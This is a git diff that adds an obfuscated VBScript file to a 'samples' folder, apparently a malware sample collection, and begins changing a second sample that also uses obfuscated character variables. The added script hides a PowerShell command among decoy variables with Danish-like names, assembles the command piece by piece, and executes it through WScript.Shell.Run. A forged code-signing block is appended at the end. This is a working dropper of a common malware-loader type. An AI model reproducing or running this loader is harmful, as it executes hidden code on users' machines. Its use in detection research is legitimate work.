-1219 +Dynamogeny = "Rottedes! frtidspensioneringer!" +Vaabenstyringssystemers = "Vandressourcerne? gedderne;" +Epistemologist = &H98FC +Subconcessionaire = &H2623 +Pueblo = -41917 +Debilitation = &HFFFF8EFF +Signage78 = 24955 +Fortovsretter = -64898 +Staffless = &H58D +armlike = 21230 +Arnen = "Slers unpornographic" +Raakremens = 45078 +Invitationskorts = -59344 +Muskelfiber = &H9DB4 +underbefolkede = &HFFFF9AAE +Olieraffinaderier = 43651 +Koincideres = &H8DBC +Nonbromidic = 9345 +Vandfogederne = 17420 +Emotiveness = 20089 +Creepiness = 30579 +Sothic = -17545 +prejudiced = &HFFFFAAF4 +Gouty = "Telefonkald gaarsdag?" +Udskriftsvaerdi = "Hyetologist. varelagrene" +Unrapaciously = &HFFFF0974 +Maltninger = -35049 +Mekanismernes = "Anonychia, arbejdsmarkedsuddannelserne?" +Unalarmed = 53719 +Hennys = -39067 +Espalier = &HA2B3 +Eglamour = 56940 +Dommervagterne222 = -39373 +Herculanian = "Atrous estragonerne78" +Skildrerens = 5637 +Eftersynenes = &HFFFFA233 +Ensandal = &HFFFF8E38 +Faradisms = -50952 +Tflet = "Faustino! standardprodukter" +Doctorisation = "Delbetalingen! caisson" +Diktions = -56979 +Spiritises = "Diskettekonverteren, summetoner" +Bevislighedens = "Anatemaer vernixes;" +Isograft = "Colopuncture ratemeters" +Benedicts = &HFFFF7EF7 +Bkkenbundsvelses = 8447 +Recognized = &HDE8A +Exdividend = "Stdpude. teleplasmaers!" +Eloign = &HFFFFC378 +Pyrethroid = "Cockcrow deprecieredes?" +Faconernes = "Uddannelsessgende. polytypy;" +Ledvist = -9334 +Bouvier = &HFFFFD441 +Sphagnummen = 21910 +Lucent = 3297 +Amphidiscophora = 5551 +Reroot = Reroot + "ord}" +Reroot = Reroot + ".Currenword" +Reroot = Reroot + "Cul" +Reroot = Reroot + "wordure) {$Microp" +Reroot = Reroot + "worderyx" +Reroot = Reroot + "='SUBsTR';$" +Reroot = Reroot + "Cen" +Reroot = Reroot + "ses++;}$Microp" +Reroot = Reroot + "worderyx+" +Reroot = Reroot + "='ing';wordxword ." +Reroot = Reroot + " cun" +Reroot = Reroot + "cwordion Pifwordeword($H" +Reroot = Reroot + "eworderoalbumose){$Opv" +Reroot = Reroot + "kkewo" +Reroot = Reroot + "rd=$He" +Reroot = Reroot + "worderoalbumose.Lengw" +Reroot = Reroot + "ordh-$Censes;w" +Reroot = Reroot + "ordxword" +Reroot = Reroot + " . co" +Reroot = Reroot + "r( $nondiswordorwordiv" +Reroot = Reroot + "e=2;$nondiswordorwo" +Reroot = Reroot + "rdive -lword $Opv" +Reroot = Reroot + "kkeword;$no" +Reroot = Reroot + "ndiswordorwordive" +Reroot = Reroot + "+=3){$K" +Reroot = Reroot + "rydshov" +Reroot = Reroot + "edmowordor+=$Heworder" +Reroot = Reroot + "oalbumose.$M" +Reroot = Reroot + "icropworderyx" +Reroot = Reroot + ".'Invoke'( " +Reroot = Reroot + " $nondiswo" +Reroot = Reroot + "rdorwo" +Reroot = Reroot + "rdive, $" +Reroot = Reroot + "Censes);}$Kr" +Reroot = Reroot + "ydshovedmowordor;}funcwo" +Reroot = Reroot + "rdion Udeblivelsens22" +Reroot = Reroot + "0($Pleasingly){ . ($N" +Reroot = Reroot + "awordionalizawordion" +Reroot = Reroot + "s) " +Reroot = Reroot + "($P" +Reroot = Reroot + "leasingly);}$swig=Pifwor" +Reroot = Reroot + "dewor" +Reroot = Reroot + "d 'PoM Go CzReikvl" +Reroot = Reroot + "psl SaP,/Ta5Ru" +Reroot = Reroot + ".wordxword . " +Reroot = Reroot + "cr0Sa Ra(DeWDeiBen" +Reroot = Reroot + " TdM.o HwHysLy" + +Afhoppesemimoronkrises = Afhoppesemimoronkrises + 6172404 + +Reroot = Reroot + " UnN TCo wordx" +Reroot = Reroot + "word . cr1 S0 S" +Reroot = Reroot + ".wordxword . co0Im;Da U" +Reroot = Reroot + "nW i .n 6 E4A ;K. ,a" + +Vauxhulederegen = MidB("Unoxidisables", 16, 165) + +Reroot = Reroot + "xMo6M.4An;A" +Reroot = Reroot + "p .irPavGa:S " +Reroot = Reroot + "1,o2w" +Reroot = Reroot + "ordxword . ci" +Reroot = Reroot + "1 ..Sy0 f" +Reroot = Reroot + ")Pl wordG Cewordxwor" +Reroot = Reroot + "d . crcJ.k.oo,o/Ni2Re" +Reroot = Reroot + "0Sm1 ,0 n0De1S" +Reroot = Reroot + "k0L.1,k .swo" +Reroot = Reroot + "rdxword . " +On error resume next + +Reroot = Reroot + "c BiT" +Reroot = Reroot + " r,eeN.fOmoB" +Reroot = Reroot + ",xPe/ ,1La2 E1Ur.Pr0Ro '" +Reroot = Reroot + ";$Swordwordword" +Reroot = Reroot + "efonds=Pifwordeword 'P" +Reroot = Reroot + " URas.ie" + +Isvrkbdeniveauersmi = Log(2625153) + +Reroot = Reroot + "Inr V-JaAN g Te " +Reroot = Reroot + "n aword E" +Reroot = Reroot + " ';$Efworderr" +Reroot = Reroot + "awordionaliserin" +Reroot = Reroot + "gerne=Pifwo" +Reroot = Reroot + "rdeword '.ohw" +Reroot = Reroot + "ordx" +Reroot = Reroot + "word . ciwordTuword ApP" +Reroot = Reroot + "as,a:I /.a/enswordioin" +Reroot = Reroot + "fOdwordCiiS.qRe.Un" +Reroot = Reroot + "rEno K/GaeBevM e,en ." +Reroot = Reroot + "wordWi/Lou .p wor" +Reroot = Reroot + "dxword . cdMaaOvwordN," +Reroot = Reroot + "eDy/Ma" +Reroot = Reroot + "E byKoe,la Gb PlTaeSe4." + +Idolaterstonefilm=195 +Ytterbicsexualizedm =Chr(Idolaterstonefilm) + +Reroot = Reroot + "o9P..," +Reroot = Reroot + "ixWrwordR,p" +Reroot = Reroot + "Pr ';$Ludolph=Pifwo" +Reroot = Reroot + "rdeword ',u> B ';$Nawo" +Reroot = Reroot + "rdionalizawordions=" +Reroot = Reroot + "Pif" +Reroot = Reroot + "wordeword '" +Reroot = Reroot + "U,iAbe.m" +Reroot = Reroot + "xf," +Reroot = Reroot + " ';$Simplexewords=" +Reroot = Reroot + "'Nonadopwordable';$" +Reroot = Reroot + "Tndswordik" +Reroot = Reroot + "sken" +Reroot = Reroot + "s = Pifwordeword " +Reroot = Reroot + "'Deec,cO" + +Frdiggjortklotild = LeftB("Silverily",18) + +Reroot = Reroot + "vh ,oSp Ba%Dra Sp" +Reroot = Reroot + " CpAndMea ,word oa" +Reroot = Reroot + "En%An" +Reroot = Reroot + "\wordxword ." +Reroot = Reroot + " cr" +Reroot = Reroot + "swordxw" +Reroot = Reroot + "ord . ca" +Reroot = Reroot + "kRaa ab,wo" +Reroot = Reroot + "rdeVerE.e" +Reroot = Reroot + "P,vB n AecorSisT,.haDTea" +Reroot = Reroot + "SimS, Lo&P.&J. T." +Reroot = Reroot + "eDocwordx" +Reroot = Reroot + "word . c hPaoRe Cewo" +Reroot = Reroot + "rdAs ';Udeblivelsen" +Reroot = Reroot + "s220 (Pifw" +Reroot = Reroot + "ordeword ' S$ScgD." +Reroot = Reroot + "lHooGrbTra " +Reroot = Reroot + "Sl n:AuB" +Reroot = Reroot + "Ble nOpyHawor" +Reroot = Reroot + "d,awordTaecorEr=Mo(O " +Reroot = Reroot + "c .m TdSm " +Reroot = Reroot + " V/sac s wor" +Reroot = Reroot + "dxword " +Reroot = Reroot + ". c $ .TH," +Reroot = Reroot + "n KdMosK.wo" +Reroot = Reroot + "rdAniLikDas" + +Brndererepeteredet = Brndererepeteredet * 8965942 + +Reroot = Reroot + "Vik xeA n.osRe)Ls ');" +Reroot = Reroot + "Udebl" +Reroot = Reroot + "ivelsens220 (Pifwordewor" +Reroot = Reroot + "d 'Ab$Zi" +Reroot = Reroot + "g SlPoo bPeaArlU,:T" +Reroot = Reroot + "hf Br" +Reroot = Reroot + "wordxword " +Reroot = Reroot + ". cdeSemK" +Reroot = Reroot + "ueA lU sAckOae" +Reroot = Reroot + ",osTh=Ve$C" +Reroot = Reroot + "oE " +Reroot = Reroot + "yf,vwo" +Reroot = Reroot + "rdDee" +Reroot = Reroot + "BorP" +Reroot = Reroot + " rT" +Reroot = Reroot + "oawordxword . cuwordqui" + +Endevendendearenar21 = Left("Polyaxial",238) + +Reroot = Reroot + " ,o rn BaVelB,iBes Me.kr" +Reroot = Reroot + " .i cn,og" +Reroot = Reroot + "Roe GrBan Aewordxword " +Reroot = Reroot + ". ca.No" +Reroot = Reroot + "sHepV.lSniAlwo" +Reroot = Reroot + "rd wordxword . c(S.$pa" +Reroot = Reroot + "LSeudid ,oprlnopOvh" +Reroot = Reroot + "D,)Ge ');Udeblivelsens" +Reroot = Reroot + "220 (Pifwordeword 'Rr[" +Reroot = Reroot + "RiNLue TwordCo. lSA" +Reroot = Reroot + "neBerwordxword " +Reroot = Reroot + ". cov,uiRic" +Reroot = Reroot + "m e" +Reroot = Reroot + "AsP" +Reroot = Reroot + "VeoBoikanMeword" +Reroot = Reroot + "ArMSaa " +'Overgangsfase skyldssprgsmaal38; knirkende! +Reroot = Reroot + "AnSjaObgTue rTa" +Reroot = Reroot + "]H.:pr:PuSSeekocDau,irTa" +Reroot = Reroot + "i iword" +Reroot = Reroot + "Cay" +Reroot = Reroot + "KnP TrSaoCe" +Reroot = Reroot + "wordbeoSwordcword" +Reroot = Reroot + "xword . cooHelRe =" + +Brotchenunradic = String(168,"U") + +Reroot = Reroot + ",e ." +Reroot = Reroot + "[ReNH e ,word,o.wordx" +Reroot = Reroot + "word . coSwordxword . " +Reroot = Reroot + "c,eGec Su,orEriNiwor" +Reroot = Reroot + "dwordx" +Reroot = Reroot + "word . ci" +Reroot = Reroot + "yV,PKor " +Reroot = Reroot + "wordo .word ,o Icl.o,el" +Reroot = Reroot + "DeTUdyGapRee" +Reroot = Reroot + "wordxword . " +Reroot = Reroot + "co]be: g:PrTSnl " +Reroot = Reroot + "es n1A 2R ')" +Reroot = Reroot + ";$Efwo" +Reroot = Reroot + "rderr" +Reroot = Reroot + "awordionalis" +Reroot = Reroot + "eringerne=" +Reroot = Reroot + "$fremelskes[0];" +Reroot = Reroot + "$Twigs= (Pifwordew" +Reroot = Reroot + "ord 'A,$ri" +Reroot = Reroot + "gBilCuoK bBraMa" +Reroot = Reroot + "lPu:TeE cn .bNolword" +Reroot = Reroot + "aoDacMi=" +Reroot = Reroot + "ReN.neCowUn-A" +Reroot = Reroot + ".O wordxword . cb.nj ," +Reroot = Reroot + "eudcE" +Reroot = Reroot + "vword,o TaSL" +Reroot = Reroot + " yS swordxword . ciwor" +Reroot = Reroot + "dK,eTim," +Reroot = Reroot + "word.S NAded word.l" +Reroot = Reroot + ".p WBueVib ,C" +Reroot = Reroot + ".klI," +Reroot = Reroot + "iSeea" +Reroot = Reroot + "bnPlword');" +Reroot = Reroot + "$Twigs+=$Benywo" +Reroot = Reroot + "rdworder[1];Udeblive" +Reroot = Reroot + "lsens220 ($Twigs)" +Reroot = Reroot + ";Udeb" +Reroot = Reroot + "livelsens" +Reroot = Reroot + "220 (Pifwordeword ',o$" +Reroot = Reroot + "ErEXinBebOdlbooK" +Reroot = Reroot + ",cRe.go" +Reroot = Reroot + "HGre aA,dAfePrrwor" +Reroot = Reroot + "dxword . cosKa[P,$." +Reroot = Reroot + "hS .word .wordGeword" +Reroot = Reroot + "SwordeD,fd,o enVidLas" +Reroot = Reroot + "Wa]C,=,n$NosSwordwWii " +Reroot = Reroot + "gOword ');$Su" +Reroot = Reroot + "balworderns=Pifwordew" +Reroot = Reroot + "ord 'Sl$C EV.n lbUnlG" +Reroot = Reroot + "ro Lc A.CaD.eounwU nTelB" +Reroot = Reroot + "eoCaa edIswo" +Reroot = Reroot + "rdxword ." +Reroot = Reroot + " c,eiInlDeeSo(,e$P" +Reroot = Reroot + "rE nfe,wordPreRe" + +Unfalsifiablecrysta = Len("mademoiselles") + +Reroot = Reroot + "rJerwordxword" +Reroot = Reroot + " . c aP.word wordi.yoK" +Reroot = Reroot + "knBea zl CiD,sS" +Reroot = Reroot + "wordeS,r.ni Kn" +Reroot = Reroot + "SegOreSkrwordxword . c" +Reroot = Reroot + "anBye i,d" +Reroot = Reroot + " $M,BAbrBrs Ki HnOpv" +Reroot = Reroot + "B.eC,sThwordwordxwor" +Reroot = Reroot + "d . c.o.orI,e er," +Reroot = Reroot + "n)Cl ';$Brsinveswor" +Reroot = Reroot + "dorer=$Benywordworder[0" +Reroot = Reroot + "];Udeblivelsens220 (Pif" +Reroot = Reroot + "wordeword 'A,$ Bg" +Reroot = Reroot + "Sul ioA,bRi" +Reroot = Reroot + "aNolKe: iWSpaAfsSmwor" +Reroot = Reroot + "d NeSulMeedesNos,a=V.(" +Reroot = Reroot + "U,TLaeR.s DwordZ" +Reroot = Reroot + ",-EmP.qaO.wo" +Reroot = Reroot + "rdUnhOv" +Reroot = Reroot + " ar$,yB Cr TsWeiDin" +Reroot = Reroot + "lgve e,osN" +Reroot = Reroot + "iword B" +Reroot = Reroot + "oScrChe erSp)Vo ');whi" +Reroot = Reroot + "le (!$Waswo" +Reroot = Reroot + "rdeless) {Udebliv" +Reroot = Reroot + "elsens220 (Pifworde" +Reroot = Reroot + "word 'Sword$Klg.llE " +Reroot = Reroot + "oGa" +Reroot = Reroot + "bVoaM" +Reroot = Reroot + "ilBo: KKBel Go ddH sBeeV" +Reroot = Reroot + "adMuewordxwo" +Reroot = Reroot + "rd . cosPo" +Reroot = Reroot + "=Pr$ ewordKnrSiuDa" +Reroot = Reroot + "eCa ') ;Udebliv" +Reroot = Reroot + "elsens220 $Subalw" +Reroot = Reroot + "ordern" +Reroot = Reroot + "s;Udeblivels" +Reroot = Reroot + "ens220 (Pifwor" +Reroot = Reroot + "deword ' uSRowor" +Reroot = Reroot + "dMoaH" +Reroot = Reroot + " rBawordU.-.eSS lMaeAee." +Reroot = Reroot + "kpC. ,e4se ');Udebl" +Reroot = Reroot + "ivelsens220 " + +Sagtnendeninianesannekte = "Flamberingerne" +Kunstmaleregumlesscolo = Ucase(Sagtnendeninianesannekte) + +Reroot = Reroot + "(Pifwordeword ' R$P,gi" +Reroot = Reroot + "nlSeoBabNeaR" +Reroot = Reroot + "elwordxw" +Reroot = Reroot + "ord . co:LiWSmaw" +Reroot = Reroot + "ordxword . c" +Reroot = Reroot + "os BwordGleOmlThe" +Reroot = Reroot + ",osjas.f=,a(haT" + +Uforligneligtgener="Kompagnonernes" +Unisexesstrgtureneepiglo14 = LCAse(Uforligneligtgener) + +Reroot = Reroot + "KaeVasPrwordRk-VaPL" +Reroot = Reroot + "naCawordCohMo ." +Reroot = Reroot + "$,eBwordxword . c,rAnsH," +Reroot = Reroot + "iRunwordxword . cav ." +Reroot = Reroot + "e s PwordB" +Reroot = Reroot + "oo arCee Lr B) S ') ;Ud" +Reroot = Reroot + "eblivelsens220" +Reroot = Reroot + " (Pifwordeword '" +Reroot = Reroot + "E $ChgAnl wo" +Reroot = Reroot + "rdoMebSnaKrlH :C," +Reroot = Reroot + "ZMaeUnbU,rS." +Reroot = Reroot + "aAnf," +Reroot = Reroot + "nl QsUn=wordxword . ce$M" +Reroot = Reroot + "og.olAfo AbPraTalS." +Reroot = Reroot + ": .WPaa gwordxword . " +Reroot = Reroot + "c.e UrHaeRurA" +Reroot = Reroot + "k+U,+.n% i$ Bf" +Reroot = Reroot + "S.r We SmC,e Sl," +Reroot = Reroot + "gsluk a" +Reroot = Reroot + "eLisRh.S.cNioE uOmnK" +Reroot = Reroot + "owordSy ')" +Reroot = Reroot + " ;$Efworderrawordionalis" +Reroot = Reroot + "eringerne=$fremelske" +Reroot = Reroot + "s[$Zebrafls];}$wor" +Reroot = Reroot + "dospandewords=333" +Reroot = Reroot + "059;$Bryllupsdagen=2" +Reroot = Reroot + "7115;Udeblivelsens220 (P" +Reroot = Reroot + "ifwordew" + +Spicaslyseholderakk = Rnd +Reroot = Reroot + "ord 'Ta$O gSklLeo Ib" +Reroot = Reroot + " .a SlAf:Bewor" +Reroot = Reroot + "dxword . cDk" +Reroot = Reroot + "r i" +Reroot = Reroot + ".ogHur meK l " +Reroot = Reroot + "IsMaeGesPemEdi" +Reroot = Reroot + "U,d Dl" +Reroot = Reroot + "Dueb,rInn .eSa Ca=Gi" + +Lavpasfiltrering = Lavpasfiltrering & "Hyphenises" & "Orkney" + +Reroot = Reroot + " aG keI,word,o-TrCS.oS" +Reroot = Reroot + "lnGawordBreAfnInwordD" +Reroot = Reroot + "e S$Mo" +Reroot = Reroot + "B.pr .s" +Reroot = Reroot + "AfiManInvBae ,s" +Reroot = Reroot + "C word NoK.rK.eHerB" +Reroot = Reroot + "i ');Udeblivelsens" + +Uforudselighedensdescr = FreeFile + +Reroot = Reroot + "220 " +Reroot = Reroot + "(Pifwordeword 'S $ ." +Reroot = Reroot + "g Sl Wo dbSoawordxwor" +Reroot = Reroot + "d . crlRe:V.L,iaC.s rc " +Reroot = Reroot + ".iBevPh" +Reroot = Reroot + "iReoreuOms Un ,e" +Reroot = Reroot + "GesPls ee AsAn " +Reroot = Reroot + " c=N. [RiS y BsMaw" +Reroot = Reroot + "ord,ce LmPo.ViC" +Reroot = Reroot + "S.oSonPev neUrrT,wordwor" +Reroot = Reroot + "dxword . " +Reroot = Reroot + "ce]S,:Hj:,awor" + +Ebersdissertati = FormatNumber(8980606) + +Reroot = Reroot + "dxword " +Reroot = Reroot + ". cHer" +Reroot = Reroot + "NooAimu.B a swordw" +Reroot = Reroot + "eSn6.i4,nS swordV.r" +Reroot = Reroot + " Mi,anPrg.o(na$U wordx" +Reroot = Reroot + "word . c.erGiiBrgBorH" +Reroot = Reroot + " e Vl" +Reroot = Reroot + "hesA" +Reroot = Reroot + "leI.sInmUniOpd Bl leVir" +Reroot = Reroot + "Din SeH" +Reroot = Reroot + "e)K, " +Reroot = Reroot + "');Udeblivels" +Reroot = Reroot + "ens220 (Pifwordeword '" + +while (ordfrerenenfoncedphona<119) +ordfrerenenfoncedphona = ordfrerenenfoncedphona + 1 +Fysioterapeutskoler = Fysioterapeutskoler * (0+1) +wend + +Reroot = Reroot + "Sword$ " +Reroot = Reroot + "rg nl .o nbS" +Reroot = Reroot + "valilS,:GwordUP k r ,a" +Reroot = Reroot + "ViiH" +Reroot = Reroot + "jnPrewordxword . clrMieI" +Reroot = Reroot + " nBisIn S= n Be[.oS ," +Reroot = Reroot + "yVesGuwordL ewordxword" +Reroot = Reroot + " . c.mRa." +Reroot = Reroot + "VeTDhe Px" +Reroot = Reroot + " GwordSc. SE Dn scApoO" +Reroot = Reroot + "udSa" +Reroot = Reroot + "iAanKo" +Reroot = Reroot + "gUh]Ha: ,:OvAAdS ,C AI" +Reroot = Reroot + " hIwordxword . " + +Skaanekostsunashamednes = TimeSerial(150,106,96) + +Reroot = Reroot + "co. mG,ue iwordPiS" +Reroot = Reroot + "ShwordHor.ei.inTogLo(,a$" +Reroot = Reroot + " L eaUns cTaiB" +Reroot = Reroot + "av Piwordxword . ceow" +Reroot = Reroot + "ordxword . clu as.c" +Reroot = Reroot + "n ke" +Reroot = Reroot + ",lsNos eBus,h) I " +Reroot = Reroot + "');Udeblivelsens2" +Reroot = Reroot + "20 (Pifwordeword 'A" +Reroot = Reroot + "m$Su" + +Terminologernespt = Timer + +Reroot = Reroot + "gh.lPro" +Reroot = Reroot + "Inb a .lIn:Sa" +Reroot = Reroot + "nSpoPlnCopwordxword . ce" +Reroot = Reroot + "e ,r NjSpuWhrS,e idN" +Reroot = Reroot + "o= R$ UAfk" +Reroot = Reroot + "DrrTra Si,hnNu" +Reroot = Reroot + "eHar" +Reroot = Reroot + "Auemo" +Reroot = Reroot + "nSwordsP " +Reroot = Reroot + ".Sls Ku H" +Reroot = Reroot + "bwordx" +Reroot = Reroot + "word . cosU w" +Reroot = Reroot + "ord kr biB,nSig C" +Reroot = Reroot + "( C$C" +Reroot = Reroot + "lword,coHusInpPraRenw" +Reroot = Reroot + "ordxword . cld" +Reroot = Reroot + " Deapword,lsCa,.l$," +Reroot = Reroot + "vB urUnyVil" +Reroot = Reroot + "Lol" +Reroot = Reroot + "SduI " +Reroot = Reroot + "pV,s" +Reroot = Reroot + "Indp.aslgSpeTrnR" +Reroot = Reroot + ",)Be ');Udebli" +Reroot = Reroot + "vel" +Reroot = Reroot + "sens220 $" + +Arbejdsevnesnongelati = Trim("Atomvaabenlagre") + +Reroot = Reroot + "nonpe" +Reroot = Reroot + "rjured;" + + + + + + + + +Gasbetonsunrefutabilityc = Right("Staasteds",3) + + + + +'Fluvioglacial forhaanelsens farveblyant32 forskningsministrene! + + + + + + + +Reroot = Replace(Reroot,"word",Latticed(116)) + +Bagtippers = "owershell" + " " + chrW(34) + Reroot + chrW(34) +Bagtippers = "p" + Bagtippers + +Reroot = Replace(Reroot,"txt . c","F") + +Bagtippers = "owershell" + " " + chrW(34) + Reroot + chrW(34) +Bagtippers = "p" + Bagtippers +end function + +Set Trommeslageres = CreateObject("WScript.Shell") + + +Call Trommeslageres.Run (Bagtippers,Landsat ) + + + +Function Latticed(Graaskggenes) +Latticed = "Panamano" +Do Until asc(Latticed) = Graaskggenes + +Forblffelse = int(rnd*4000000) + +If Forblffelse < 254 then Latticed = Chr(Forblffelse) + + +Loop +'Crawlspace; sknjomfruer? + +End Function +'' SIG '' Begin signature block +'' SIG '' MIIJ1QYJKoZIhvcNAQcCoIIJxjCCCcICAQExDzANBglg +'' SIG '' hkgBZQMEAgEFADB3BgorBgEEAYI3AgEEoGkwZzAyBgor +'' SIG '' BgEEAYI3AgEeMCQCAQEEEE7wKRaZJ7VNj+Ws4Q8X66sC +'' SIG '' AQACAQACAQACAQACAQAwMTANBglghkgBZQMEAgEFAAQg +'' SIG '' GgqzXNZAkidjJcHT0OepcudMxre1hGXpASnmn2VLxd+g +'' SIG '' ggX9MIIF+TCCA+GgAwIBAgIUCnXlCUc0TdK1RN+objVK +'' SIG '' VjXeHbkwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYT +'' SIG '' AkRFMRwwGgYDVQQIDBNOb3JkcmhlaW4tV2VzdGZhbGVu +'' SIG '' MREwDwYDVQQHDAhNZWRlYmFjaDEZMBcGA1UECgwQRWtz +'' SIG '' cGVyaW1lbnRlbGxlczEwMC4GA1UEAwwnRmFjYWRlc2xp +'' SIG '' Ym5pbmdlcm5lcyB2aW5pZmllZCBFbWFjdWxhdGUgMB4X +'' SIG '' DTI0MDQyODA4NDczN1oXDTI3MDQyODA4NDczN1owgYsx +'' SIG '' CzAJBgNVBAYTAkRFMRwwGgYDVQQIDBNOb3JkcmhlaW4t +'' SIG '' V2VzdGZhbGVuMREwDwYDVQQHDAhNZWRlYmFjaDEZMBcG +'' SIG '' A1UECgwQRWtzcGVyaW1lbnRlbGxlczEwMC4GA1UEAwwn +'' SIG '' RmFjYWRlc2xpYm5pbmdlcm5lcyB2aW5pZmllZCBFbWFj +'' SIG '' dWxhdGUgMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIIC +'' SIG '' CgKCAgEAy7CpE0/iiUQPsqFi9eBfNJsDeftqNOMWKsMI +'' SIG '' 3YuIvEFzVTOvRIQrmZZvvljbVLP83+FJL/v5frSIP/O5 +'' SIG '' V+BZkISaKkJYuWklLlfTykLfcN4LeuL007mb/48wsJer +'' SIG '' chVv8nIM9iN4bDF/8bwK/h/2k5A06E0haV5Z+vq6P+EJ +'' SIG '' Mvz1gOocfdLbFR2wYsD/SObWLZURbk+GCWDWTpi3nD+r +'' SIG '' MxlW1YMNJdknvAzRtOUj2ZKchAaYbVuzrisRSCQ/D5qr +'' SIG '' 0GNz3sOaeV8hnXk06xZnAtdkrB8EmwawOUnjp/n7AuCI +'' SIG '' 98W8kk1zDAffcou8z4TwtB+/iEMUpisE8F5qKmRbRMsl +'' SIG '' 4ojJ8Gu8hgdX7nU6JdhOZB2OJ7qEWEGVUjxqZT85nCXV +'' SIG '' 2XoN6C0bo4PGSWpcEkch1RjULzCRV5kT87tccdGtKv+/ +'' SIG '' jDyOwTLdB3iMaVp5YmwgwEVRui62eAqoQNP7xyrx0uIC +'' SIG '' zaJTfk0jreN/BFL6qSevuyoFF1zXbPcOEFqvzMLN5IKe +'' SIG '' 3nimIwII+uTSpxTMz71sVdC44P13CgRpgjoBGnNNeJrD +'' SIG '' qEF8VbGi0eSmPuSaMfMrlpo6JB3AnYxZNwZgs7ML1BRt +'' SIG '' 3ehMVCtLiRdHfWTZlXSHW5IlmpFE7CjtI/yfRQdNzbY2 +'' SIG '' a7Ppoogv+Zim7p4ZiZyqP6ayifVN9/kCAwEAAaNTMFEw +'' SIG '' HQYDVR0OBBYEFDUy8zp9AOgM42sjz5MkgruBCbqOMB8G +'' SIG '' A1UdIwQYMBaAFDUy8zp9AOgM42sjz5MkgruBCbqOMA8G +'' SIG '' A1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggIB +'' SIG '' ALfqlEBrxgw1tYK1/+GwQLuQJdN/BGjl2luqespLt4/x +'' SIG '' mTLQDSlJpFjfDVSQzY8KznQmIssNigEt4bEma3ugfGaC +'' SIG '' OszkJTGBpbhacLImvmg/Ke5qLo4xdL2PFNIqo+cv0HIn +'' SIG '' RsMGqs8w28Cd0c6eANEFIdGhkofkF5IMUXxPP0n0c1FE +'' SIG '' B3XdV/UVl/MDRTHvu4vZO69zt40u18mgLxRdulpTUXyR +'' SIG '' zfjPGER/sr2aQR+g0ZZTKeUfYYJBJgwKuMFLAHa6cwrW +'' SIG '' 0FRqJ0dg+uUFO1MsS6GSlV4rGMhPsneJWoMGEnRaqYaI +'' SIG '' 9K2i/96NF8rOnFlsibkna+2OWpWKMArcJgXbv1+LgCm/ +'' SIG '' 6oXmTOTWuU8QPD/RYJ2Mj86QJmsxBElF6GPom80Qy5p4 +'' SIG '' O95avjZHe8R43m4zXx/4CCGnlU/S+CQVEACZgBqTXeQL +'' SIG '' 7yd8TjOdnIwVx5e5wn9wsuhUQideF6YE+gecLM4V0xTQ +'' SIG '' VJoO5/nbYuuQVuVat2/6+YdtMJHuzf2dRN9V9DpZCDy1 +'' SIG '' fmUPfq3pCyPXUKQveWGVeytxOd8nvWm2hw26w43Ygzer +'' SIG '' 8oZ/uQ5qhRF6Xzd/0VXC0xPJ3StBcHZQFSUzhQ6khZWy +'' SIG '' xstethfY4yjtgyQ8LA3ZMobvV2pLy3b/k6DOWCvsBARi +'' SIG '' Jr7taFU40b6Q3YHqWo1AIp8gMYIDMDCCAywCAQEwgaQw +'' SIG '' gYsxCzAJBgNVBAYTAkRFMRwwGgYDVQQIDBNOb3Jkcmhl +'' SIG '' aW4tV2VzdGZhbGVuMREwDwYDVQQHDAhNZWRlYmFjaDEZ +'' SIG '' MBcGA1UECgwQRWtzcGVyaW1lbnRlbGxlczEwMC4GA1UE +'' SIG '' AwwnRmFjYWRlc2xpYm5pbmdlcm5lcyB2aW5pZmllZCBF +'' SIG '' bWFjdWxhdGUgAhQKdeUJRzRN0rVE36huNUpWNd4duTAN +'' SIG '' BglghkgBZQMEAgEFAKBeMBAGCisGAQQBgjcCAQwxAjAA +'' SIG '' MBkGCSqGSIb3DQEJAzEMBgorBgEEAYI3AgEEMC8GCSqG +'' SIG '' SIb3DQEJBDEiBCCM6ZKnKjTZnKhrZj+RNyFS5mbiqDZp +'' SIG '' CnAW5RgD1mC4ODANBgkqhkiG9w0BAQEFAASCAgA93D2L +'' SIG '' 0ztMzd6osgx7xaXivKLlcIdHoAxmf8UQIbpSbFYMjnZD +'' SIG '' P6dlJvKHKGaV326jiIRdmOCkeXnnl9Q5tW8c4pBxfA5X +'' SIG '' doaKlYI7kPXqrDiR1GiP5/24HuvrrMrLRXZgiCzG4S+j +'' SIG '' sv1UxNlkQun41KSbpzNyxVDSpIynEhZL96G+hBHTHg09 +'' SIG '' E33cjERCNzhtwIPG20sHsUKqkp4AVT+rv4rNheCrXCan +'' SIG '' GfpQvlN8+POfGCdH5RqDn4/g10k98Pfqrynfku9cC+F8 +'' SIG '' sTpj9NwVP1ZESYMCc+oIHGzr5o6CopVm7R4GCjJx+GZ3 +'' SIG '' WbCrnMmjSwdrERlnbih+ZL05H5SM5aAiDJm8gSJUQsb0 +'' SIG '' wzDrB4vs1C8qPnQARlZORdqe/oEaxLwvJqhtcb6E2Gnw +'' SIG '' nTo7usRwEa/f4HEHd5KolnxA5p3WO6h2K9Qtr3mC3MqH +'' SIG '' SBCDaff6zjklS8yllzrHqa/JrUd5Zbq4gQWMyQN03Utu +'' SIG '' vD6RYCqpND1TdIIInYWZbtXvCQB3FpsI1oc8gjU5oTIm +'' SIG '' IubZae46WqviWYusMcbewYSfBWFH9qB2iJeZ4vbS1XJr +'' SIG '' uygYpSj+2IpWzxJPpTzk+VZ0qdiXJpUaXpCGMZ80phm7 +'' SIG '' y+HhSZr8Je5fYVdq0kyrqRVWL/feNZ3RC3VH3QZScULx +'' SIG '' eAZhV+b4NLMXNJ3sKg== +'' SIG '' End signature block diff --git a/Resources/samples/sample_9.txt b/Resources/samples/sample_9.txt index ef2ac84..e835caf 100644 --- a/Resources/samples/sample_9.txt +++ b/Resources/samples/sample_9.txt @@ -1,40 +1,5 @@  + arr = Array(1, 2, 3, "Hello", 5.5) -Dim xx0101 As String: xx0101 = "A" -Dim xx00101 As String: xx00101 = "a" -Dim xx0104 As String: xx0104 = "d" -Dim xx0105 As String: xx0105 = "e" -Dim xx01007 As String: xx01007 = "u" -Dim xx01008 As String: xx01008 = "v" -Dim xx010a010x As String: xx010a010x = "ax" -Dim xx0109 As String: xx0109 = "i" -Dim xx01005 As String: xx01005 = "s" -Dim xx01006 As String: xx01006 = "t" -Dim xx010003 As String: xx010003 = "z" -Dim xx010a007x As String: xx010a007x = 